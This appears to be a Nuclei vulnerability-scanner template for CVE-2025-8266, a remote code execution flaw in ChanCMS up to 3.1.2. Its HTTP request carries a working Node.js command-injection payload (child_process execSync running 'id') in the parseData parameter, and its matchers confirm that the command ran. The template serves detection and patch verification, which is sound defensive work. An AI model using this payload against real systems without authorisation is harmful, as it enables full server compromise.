ChanCMS <= 3.1. - Remote Code Execution

id: CVE-2025-8266

info:
  name: ChanCMS <= 3.1. - Remote Code Execution
  author: Ark
  severity: critical
  description: |
    yanyutao0402 ChanCMS <= 3.1.2 contains an insecure deserialization caused by manipulation of the \"targetUrl\" argument in getArticle function of app/modules/cms/controller/collect.js, letting remote attackers execute arbitrary code, exploit requires crafted input.
  impact: |
    Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 3.1.3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8266
    - https://github.com/advisories/GHSA-pg2f-hfwm-m7g5
    - https://avd.aliyun.com/detail?id=AVD-2025-8266
    - https://dbugs.ptsecurity.com/vulnerability/PT-2025-31058
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ChanCMS"
  tags: cve,cve2025,chancms,rce,deserialization,intrusive,vuln,vkev

http:
  - raw:
      - |
        GET /cms/gather/getArticle?targetUrl=http://jsonplaceholder.typicode.com/posts/1&parseData=return+process.mainModule.require(%27child_process%27).execSync(%27id%27).toString() HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "uid=", "gid=", "groups=")'
          - 'contains(header, "ChanCMS")'
        condition: and
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